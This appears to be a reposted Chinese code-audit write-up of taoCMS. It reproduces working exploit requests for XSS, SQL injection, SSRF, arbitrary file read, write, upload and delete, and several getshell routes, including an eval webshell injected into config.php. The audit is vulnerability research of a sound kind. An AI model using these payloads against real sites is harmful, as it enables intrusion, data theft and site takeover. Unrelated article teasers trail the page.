9、taocms代码审计

news2024/9/27 5:41:54

一、XSS

1、DOM型xss

限制

复现

payload: aa')+alert(1)+('  
触发的参数:name

在这里插入图片描述

代码

根据路由找到对应的文件,在api.php里接受全局变量action,最终赋值给$m,判断	如果$m不在数组就结束,新建方法复制给$model。检查类的方法是否存在。$action=$m=action=comment类;ctrl=save方法;

在这里插入图片描述
在这里插入图片描述

进入Comment.php,找到触发的参数name,对post接收的name参数调用了safeword方法,跟进去

在这里插入图片描述

判断neme在数组内,在将name进行过滤。
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
htmlspecialchars() 函数把'"<>&转化 HTML 实体化编码。
并且使用nl2br() 函数在字符串中的每个新行(\n)之前插入 HTML 换行符(<br> 或 <br />)

在这里插入图片描述

找到出发的代码,定位使用的 backcomment  函数

在这里插入图片描述

跟踪到这里发现直接将传入的东西写进了标签内所以在标签里的内容是可以直接被解析的。 因为return会返回,所以即便有分号也不会再往后执 行,我们可以通过 + 对 return 的内容进行拼接,就变成下面这个样子。

在这里插入图片描述

2、存储型xss

限制

复现

在发表评论处的姓名字段插入dom型语句,在每次打开评论点击回复按钮时都会触发

在这里插入图片描述

代码

在index.php首页跟踪路由,从run跟进

在这里插入图片描述

在run方法调用了创建数据方法createdata();跟到此方法。因为时对$path的处理所以跟踪$path就可以

在这里插入图片描述

直到这里$pat还没有赋值变动,并且通过输出检查发现没有进入下面的if情况。而是进入else,并且拼接了其他语句$path也是可以控制的

在这里插入图片描述
在这里插入图片描述

从get_one跟进来,此时的where是$path,也就是直接拼接了sql查询语句,再将sql语句进行正则过滤。

在这里插入图片描述
在这里插入图片描述

3、反射型xss

限制

front=alert(1)&start=1500&rend=1550&back=.htm&each=<script>aaa</script>&basecode=utf-8&titlepreg=1&contentpreg=1&cat=0&repword=1&llink=1&test=0&action=spider&ctrl=execute&Submit=1

复现

GET /admin/admin.php?front=alert(1)&start=1500&rend=1550&back=.htm&each=<script>aaa</script>&basecode=utf-8&titlepreg=%3Ctitle%3E%5Btitle%5D%3C%2Ftitle%3E&contentpreg=%3Cspan+class%3D%22smalltxt%22%3E%5Bcontent%5D%3Cdiv+id%3D%22digit%22%3E&cat=0&repword=%E7%AC%91%E5%98%BB%E5%98%BB%7CtaoCMS%0D%0A%E5%BF%AB%E4%B9%90%7C%E9%AB%98%E5%85%B4&llink=1&test=0&action=spider&ctrl=execute&Submit=%E5%BC%80%E5%A7%8B%E9%87%87%E9%9B%86 HTTP/1.1
Host: www.taocms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=spider&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close


在这里插入图片描述

代码

$reach变量没有被类型转换,过程中也没有对他处理

在这里插入图片描述
在这里插入图片描述

4、url跳转/xss

限制

api.php?action=Api&ctrl=dig 

复现

GET /api.php?action=Api&ctrl=dig HTTP/1.1
Host: www.taocms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.baidu.com"><h1>aaaa</h1>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2
Connection: close


在这里插入图片描述

代码

接受的Referer没有被过滤

在这里插入图片描述

二、SQL注入

1、sql注入(Ⅰ)

限制

后台

action=category&ctrl=del

复现

payload:)+or+sleep(5)--+-
GET /taocms/admin/admin.php?action=category&id=3)+or+sleep(5)--+-&ctrl=del HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=category&ctrl=lists
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pliaroesrtdrgipa7ukdog7ks3; RiH_uid=5oOFbbvGrd1UUpvhkgDTXQ%3D%3D; RiH_username=I97cvAnVbpq1GhuWC2JdWQ%3D%3D; RiH_wz_name=Dt6xwSQrzKyvUb9Rsr8xeQ%3D%3D; RiH_siteid=Z0bFPM%2BHidTg9jT%2FtuA%2B7w%3D%3D
Connection: close


在这里插入图片描述

代码

del方法,从数据库获取要删除的内容

在这里插入图片描述

此时id为数组,implode将数组转为字符串赋值给ids,带到sql语句拼接没有任何过滤。所以要先闭合)在拼接sql语句
DELETE FROM ".$table." WHERE id in(".$ids.");

在这里插入图片描述

2、sql注入(Ⅱ)

限制

后台
action=datastore&ctrl=create

复现

GET /taocms/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8  HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=datastore&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pliaroesrtdrgipa7ukdog7ks3; RiH_uid=5oOFbbvGrd1UUpvhkgDTXQ%3D%3D; RiH_username=I97cvAnVbpq1GhuWC2JdWQ%3D%3D; RiH_wz_name=Dt6xwSQrzKyvUb9Rsr8xeQ%3D%3D; RiH_siteid=Z0bFPM%2BHidTg9jT%2FtuA%2B7w%3D%3D
Connection: close


payload:admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8

在这里插入图片描述

代码

把字符串转为数组赋值给$bulist。遍历$bulist数组里的值;如果红色成立就执行绿色否则就执行蓝色,将执行结果赋值给$addsql;最后都拼接sql语句
($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:'';

在这里插入图片描述

三、SSRF

限制

后台

复现

http://127.0.0.1:3306
GET /taocms/admin/admin.php?front=http%3A%2F%2F127.0.0.1%3A3306%3Fid-&start=1&rend=2&back=.htm&each=1&basecode=utf-8&titlepreg=%28.*%29&contentpreg=%28.*%29&cat=0&repword=%E7%AC%91%E5%98%BB%E5%98%BB%7CtaoCMS%0D%0A%E5%BF%AB%E4%B9%90%7C%E9%AB%98%E5%85%B4&llink=1&test=1&action=spider&ctrl=execute&Submit=%E5%BC%80%E5%A7%8B%E9%87%87%E9%9B%86 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=spider&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b0b9a10531418fc56f54786c8ebb99b4
Connection: close


在这里插入图片描述

代码

action=spider&ctrl=execute
$_GET接受以下参数,只将个别参数做了数字型处理。触发点在$urlfront=$_GET['front'];。
$getcontent=$this->fetchurl(urldecode($urlfront.$i.$urlback));fetchurl() 函数从指定的 (解码后的)URL 获取网页内容;并且中间没有任何过滤。

在这里插入图片描述
在这里插入图片描述

判断编码是不是UTF-8,如果不是就转换;
preg_match 去获取符合正则的内容,放到 titlearray 数组中,并将其赋值给 data["name"]  ,最后输出

在这里插入图片描述

以下是正则匹配的代码
转义"  /。

在这里插入图片描述

四、文件操作

1、任意文件下载/读取

限制

后台

复现

在include/Model/文件夹下创建了1.txt-->哇哇哇哇哇。构建类指向file,方法指向download。path是全局变量获取的。

在这里插入图片描述

代码

在admin.php文件里有个检查是否存在类的方法,这里action是对应的类,ctrl对应的类里的方法,当类的方法指向那个方法就会调用那个文件。在file文件里有download方法

在这里插入图片描述

在Flie类使用了多个方法,其中__construct魔术方法是在new的时候默认触发的,其中path是全局变量是可控的。 file_get_contents() 是读取文件的函数。结合echo会将读取的文件输出。此时的$info是一个数组,
array(4) {
  ["dirname"]=>
  string(13) "include/Model"
  ["basename"]=>
  string(5) "1.txt"
  ["extension"]=>
  string(3) "txt"
  ["filename"]=>
  string(1) "1"
}
realpath在 _construct() 方法里已经赋值,并且将获取的path进行拼接。

在这里插入图片描述

2、任意文件上传

限制

后台
直接写入文件名和内容

复现

在上传的地方做了白名单限制可以不考虑

在这里插入图片描述

但是可以直接新建文件,随便写个文件名就可以,手动输入文件名新建后在编辑文件的内容,当前位置实在根目录所有直接访问这个文件。
1.php--><?php phpinfo();?>

在这里插入图片描述
在这里插入图片描述

代码

判断name参数是否存在,存在就拼接路径赋值给$file,在判断isdir是否存在并且等于1,等于就创建,1代表是目录,否则打开文件,没有就创建文件,如果文件不可写就提示新建$str失败,否则继续执行将接受的name进行拼接,提示新建成功

在这里插入图片描述

3、任意文件上传

限制

需要构造文件上传数据,才能进入到
POST方法上传文件时,可以使用POST传递其他参数
构造上传文件的html,访问后拦截上传包,浏览器不会自带cookie,需要手动添加cookie在发送。
构造后需要改动的参数:action:上传地址;name="inid" ;name="filedata"
<!DOCTYPE html>
<html>
<head>
	<title>文件上传</title>
	<meta charset="utf-8">
</head>
<body>
	<center>
		<!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输 
		传输文件需要设置-->
		<form action="http://www.taocms.com/admin/admin.php?" method="post" enctype="multipart/form-data">
		<input type="hidden" name="max_file_size" value="1048576">
		<input type="text" name="inid" value="666666666">
		<input type="file" name="filedata">
		<input type="submit" name="上传">		
	</form>
	</center>
	
</body>
</html>

复现

POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
Content-Length: 696
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.taocms.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhN99QmtAn9tJ2URs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=datastore&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close

------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="filedata"; filename="1.txt"
Content-Type: text/plain

1111111
22222222
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="action"

Upload
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="ctrl"

execute
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="inid"

66666</script><h1>aaa</h1>66
------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="from"


------WebKitFormBoundaryhN99QmtAn9tJ2URs
Content-Disposition: form-data; name="to"


------WebKitFormBoundaryhN99QmtAn9tJ2URs--

在这里插入图片描述

代码

post接受inid参数到达这一步需要成功上传文件,进入upload函数,接受filedate,手动构造上传参数进不到此处,需要构造这真实的以post数据提交的文件上传,把cookie带上

在这里插入图片描述

4、任意文件删除

限制

后台,知道文件的路径地址

复现

GET /taocms/admin/admin.php?action=file&ctrl=del&path=admin/3.txt HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=file&ctrl=lists
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b0b9a10531418fc56f54786c8ebb99b4
Connection: close


删除admin目录下的3.txt(自建)

在这里插入图片描述

代码

del删除方法,$_REQUEST['path'];全局变量接受path,拼接路径赋值给realpath,进行判断如果文件不可写提示无删除权限,如果传进来的$path是目录,并且$path下的文件数量大于2,提示目录非空不能删除。rmdir删除空目录;unlink() 函数删除文件。输入什么文件就删除什么文件
is_dir() 函数检查指定的文件是否是目录。
is_writable() 函数判断指定的文件是否可写
pathinfo() 函数以数组的形式返回文件路径的信息。

在这里插入图片描述

5、任意文件写入

限制

filedata=<?php+phpinfo()?>&action=file&ctrl=save&path=api.php&Submit=%E4%BF%9D%E5%AD%98

复现

POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
Content-Length: 100
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.taocms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=file&ctrl=edit&path=.htaccess
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close

name=api.php&filedata=<?php+phpinfo()?>&action=file&ctrl=save&path=api.php&Submit=%E4%BF%9D%E5%AD%98

在这里插入图片描述

代码

$path定义后拼接当前目录,没有过滤可以指定任意文件

在这里插入图片描述

is_writable()函数检查指定路径下的文件或目录是否可写。realpath为当前文件路径
get_magic_quotes_gpc是用来处理sql注入的,如果开启就将上传的数据magic2word处理,否则直接post接受filedate;file_put_contents函数把一个字符串写入文件中。

在这里插入图片描述
在这里插入图片描述

五、RCE

1、MySQL日志文件getshell (mysql数据库搭建才可以)

限制

需要开启日志功能
第一步:在windows下的终端窗口下进入mysql,然后输入:show global variables like 'log_bin',查看mysql的log日志是否开启,开启的话会出现下图的样子ON
			如果没有开启,在这里显示的是OFF,如果想要使用log日志就就需要按以下步骤开启
第二步:在安装的根目录下创建一个名为log的文件,再在这个新创建的文件下创建一个名为log-bin的文件,最后在这个文件下创建一个名为logbin.log的文本文件,
			这几个文件的名字可以改变,但是最后一个文本文件的后缀名必须以.log结尾
第三步:找到Mysql的配置文件my.ini,一般这个文件在安装mysql的根目录下
第四步:找到以上文件之后,就以文本的方式打开该文件,在[mysqld]下添加log-bin = "刚才创建logbin.log的绝对路径"
第五步:重启mysql/phpstudy

在这里插入图片描述
在这里插入图片描述

复现

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

2、通过修改配置文件getshell

限制

需要转义原本的单引号并且注释后面的代码

复现

POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.taocms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.taocms.com/admin/admin.php?action=config&ctrl=display
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=chf0i8g9phko674uhcae990ce2; tao_dig0=1685875872
Connection: close

WEBNAME=taoCMS%E6%BC%94%E7%A4%BA&WEBURL=.%2F&WEBINFO=\');@eval($_REQUEST[1]);/*&ANNOUNCE=taoCMS%E6%BC%94%E7%A4%BA%E7%B3%BB%E7%BB%9F%EF%BC%8CtaoCMS%E6%98%AF%E5%9F%BA%E4%BA%8Ephp%2Bmysql%2Fsqlite%E7%9A%84%E5%9B%BD%E5%86%85%E6%9C%80%E5%B0%8F%E7%9A%84CMS%E7%BD%91%E7%AB%99%E5%86%85%E5%AE%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%EF%BC%81&ADMINDIR=admin%2F&TIMEMOD=8&EACHPAGE=10&TAOEDITOR=2&TAODEBUG=0&SYS_ROOT=E%3A%2Fcode%2Fphp%2Ftaocms-3.0.2%2F&CACHE=data%2F&CACHELAST=1&INC=include%2F&DB=Mysql&DB_NAME=%7C127.0.0.1%3A3306%7Ctaocms%7Ctaocms%7Ctaocms&MEMCACHE=&TB=cms_&CREATHTML=0&VIEWSCOUNT=1&CATURL=%3Fcat%3D%7Bid%7D&ATLURL=%3Fid%3D%7Bid%7D&THEME=taoCMS%2F&action=config&ctrl=update&Submit=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE
payload: \');@eval($_REQUEST[1]);/*  
写入一句话木马,保存到了config.php文件

在这里插入图片描述
在这里插入图片描述

代码

is_writable() 函数判断指定的文件是否可写。
设置post接受Submit、ctrl、action参数。$configData变量上下都赋值了,拼接后是<?php    ?>
在中间是 将post接受的数据进行键值分离;使用 $key 变量来表示 POST 参数的键名,使用 $configs 变量来表示 POST 参数的值。再将接受的值进行判断

在这里插入图片描述

这里只是键值分离的操作没有别的过滤,直接return $safeword

在这里插入图片描述

3、缓存文件getshell

限制

后台,要知道缓存文件,包含缓存文件的路由

复现

POST /taocms/admin/admin.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 169
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer: http://127.0.0.1/taocms/admin/admin.php?action=category&ctrl=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=a361ec63524dab916c6428d9b18fa0fe
Connection: close

name=%27%29%29%3Bphpinfo%28%29%3B%2F*%27&nickname=222&fid=&cattpl=&listtpl=&distpl=&intro=333&orders=444&status=1&action=category&id=&ctrl=save&Submit=%E6%8F%90%E4%BA%A4
file_put_contents,搜索危险函数
payload:'));phpinfo();?>/*
添加成功后访问包含缓存文件的路由

在这里插入图片描述
在这里插入图片描述

代码

在这里插入图片描述

file_put_contents函数,向cat_array.inc里写内容,就看$arrayData变量是否可控并且有没有过滤。首先getlist函数是从数据库里获取的列表,$cat的内容是从数据库获取的然后赋值给$arrayData,所以可以从前端插入可以恶意代码到$cat获取内容的地方

在这里插入图片描述
在这里插入图片描述

这里是当前表保存数据的地方,可以从前端添加恶意数据。先看下这个表的格式,考虑到闭合的情况,这里name是在二维数组里的一维数组,要用两个))来闭合

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1486417.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024 年广东省职业院校技能大赛(高职组)“云计算应用”赛项样题 2

#需要资源或有问题的&#xff0c;可私博主&#xff01;&#xff01;&#xff01; #需要资源或有问题的&#xff0c;可私博主&#xff01;&#xff01;&#xff01; #需要资源或有问题的&#xff0c;可私博主&#xff01;&#xff01;&#xff01; 某企业根据自身业务需求&#…

【全局异常处理记录】⭐️通过自定义全局处理器有效统一各种异常并记录

目录 前言 方案 示例 测试 总结 前言 朋友们大家好啊&#xff0c;随着项目的进行&#xff0c;接口也是越来越多了&#xff0c;每个接口无论调用成功与否&#xff0c;都要有相应的应对措施&#xff0c;总不能出错的时候返回一堆异常信息给调用者&#xff0c;所以每个接口都…

Python算法100例-3.2 水仙花数

完整源代码项目地址&#xff0c;关注博主私信源代码后可获取 1.问题描述2.问题分析3.算法设计4.确定程序框架5.完整的程序6.问题拓展7.巧用字符串技巧 1&#xff0e;问题描述 输出所有的“水仙花数”。所谓的“水仙花数”是指一个三位数&#xff0c;其各位数字的立方和等于该…

【机器学习】有监督学习算法之:支持向量机

支持向量机 1、引言2、决策树2.1 定义2.2 原理2.3 实现方式2.4 算法公式2.5 代码示例 3、总结 1、引言 小屌丝&#xff1a;鱼哥&#xff0c;泡澡啊。 小鱼&#xff1a;不去 小屌丝&#xff1a;… 此话当真&#xff1f; 小鱼&#xff1a;此话不假 小屌丝&#xff1a;到底去还是…

奔跑吧,前端er!前端五大方向技能罗列,webGL、AI、桌面、游戏

经常看到头条上前端们争论各种框架的优劣&#xff0c;然后相互争吵不休&#xff0c;其实技术也好&#xff0c;框架也好&#xff0c;都是服务于项目需求的&#xff0c;争论的铁子们都站在自己的项目角度来品评工具&#xff0c;肯定是公说公有理婆说婆有理啦。 技术和框架是中性的…

ArrayBlockingQueue 数组阻塞队列 源码阅读

1. 概述 数组阻塞队列 有界的阻塞数组, 容量一旦创建, 无法修改阻塞队列, 队列满的时候, 往队列put数据会被阻塞, 队列空, 取数据也会被阻塞并发安全 2. 数据结构 /** 存储队列元素的数组 */ /** 存储队列元素的数组 */ final Object[] items;/** 队首位置&#xff0c;下一…

【王道操作系统】ch1计算机系统概述-06虚拟机

文章目录 【王道操作系统】ch1计算机系统概述-06虚拟机01传统计算机02虚拟机的基本概念&#xff08;1&#xff09;第一类虚拟机管理程序&#xff08;2&#xff09; 第二类虚拟机管理程序&#xff08;3&#xff09; 两类虚拟机管理程序的对比 【王道操作系统】ch1计算机系统概述…

【Linux系统化学习】线程概念

目录 线程的概念 线程的引出 什么是线程 理解线程比进程更加的轻量化 线程的优点 现成的缺点 线程异常 线程用途 Linux进程VS线程 线程的简单现象 线程的概念 有关操作系统的书籍或者课本都会这样描述线程&#xff1a; 线程是比进程轻量化的一种执行流线程是进程内部…

[SWPUCTF 2021 新生赛]babyrce

先打开环境 分析代码&#xff0c;要给COOKIE赋值admin1 使用hackbar赋值 打开rasalghul.php 分析代码&#xff0c;使用GET传参url&#xff0c;如果url里没有/ /&#xff0c;则赋值给ip&#xff0c;然后通过shell_exec函数得到flag&#xff0c;否则&#xff0c;返回nonono。他…

备战蓝桥杯————递归反转单链表

当要求只反转单链表中的一部分时&#xff0c;递归实现确实具有一定的挑战性&#xff0c;但也是可行的。下面我将介绍一种递归实现的方法来反转单链表中的一部分。 一、反转链表 题目描述 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示…

详解Win 7重置电脑操作步骤

文章目录 介绍Win 7 重置系统的方法&#xff1a;1.按下键盘上的Windows键和R键&#xff0c;打开运行窗口&#xff0c;输入sysprep 点击回车确定。2.之后就会出现如下界面&#xff0c;在这个新打开的窗口中双击 sysprep 程序3.选择【进入系统全新体验&#xff08;00BE) 】&#…

C++ sort排序

sort函数接受两个迭代器作为参数&#xff0c;分别表示要排序的范围的起始和结束位置。 请注意&#xff0c;sort函数默认使用小于运算符&#xff08;<&#xff09;来比较元素的顺序&#xff0c;默认从小到大排。 在这里&#xff0c;使用str.begin()和str.end()来表示整个字符…

【MDVRP多站点物流配送车辆路径规划问题(带容量限制)】基于遗传算法GA求解

课题名称&#xff1a;基于遗传算法求解带容量限制的多站点的物流配送路径问题MDVRP 版本时间&#xff1a;2023-03-12 代码获取方式&#xff1a;QQ&#xff1a;491052175 或者 私聊博主获取 模型描述&#xff1a; 15个城市中&#xff0c;其中北京&#xff0c;长沙和杭州三座…

springboot241基于SpringBoot+Vue的电商应用系统的设计与实现

基于SpringBootVue的电商应用系统的设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本电商应用系统就是在这样的大环境下诞生&#xff0c;其可以…

构建 ESLint 内存泄露检测插件入门:提升代码质量与防范运行时风险

前言 本文目的是介绍如何创建开发一个自定义规则 ESLint 插件。利用其能力,检测一些代码中可能存在的内存泄露并及时进行提示,避免潜在的后期影响。 本文实现其中一部分功能–检测事件监听器的使用是否存在内存泄露为例来演示基本的 ESLint 自定义规则插件开发的过程。用以…

排序算法——快速排序的非递归写法

快速排序的非递归 我们写快速排序的时候&#xff0c;通常用的递归的方法实现快速排序&#xff0c;那么有没有非递归的方法实现快速排序呢&#xff1f;肯定是有的。思想还是一样的&#xff0c;不过非递归是看似是非递归其实还是递归。 思路解释 快速排序的非递归使用的是栈这…

性能优越!|多策略改进的长鼻浣熊优化算法MSCOA(MATLAB)

文章来源于我的个人公众号&#xff1a;KAU的云实验台&#xff0c;主要更新智能优化算法的原理、应用、改进 ​函数测试(部分)&#xff1a; 仅运行MSCOA: 所有元启发式算法的共同点在于&#xff0c;其搜索过程可分为勘探和开发两个阶段。勘探阶段指算法对全局空间的搜索能力&…

kafka消费者重平衡是什么?怎么避免?

消费者重平衡是指主题下的分区怎么分配给消费者的过程。下面这个图可以看出该过程&#xff1a;原来有2个消费者&#xff0c;3个分区&#xff0c;其中一个消费者肯定就的处理2个分区了。那么当新加入消费者时&#xff0c;则每个消费者就只处理一个分区了。处理这个分区过程的叫协…

PyTorch-卷积神经网络

卷积神经网络 基本结构 首先解释一下什么是卷积&#xff0c;这个卷积当然不是数学上的卷积&#xff0c;这里的卷积其实表示的是一个三维的权重&#xff0c;这么解释起来可能不太理解&#xff0c;我们先看看卷积网络的基本结构。 通过上面的图我们清楚地了解到卷积网络和一般网…

CUDA学习笔记01:vs2019环境配置

为了在window11 vs2019下使用CUDA编程&#xff0c;配置了一下环境&#xff0c;但是我电脑一开始自带CUDA&#xff0c;然后再安装的vs2019&#xff0c;这样安装顺序上是不对的&#xff0c;vs2019找不到CUDA配置项&#xff0c;网上找了很多办法貌似都不好使而且很复杂。 那么最快…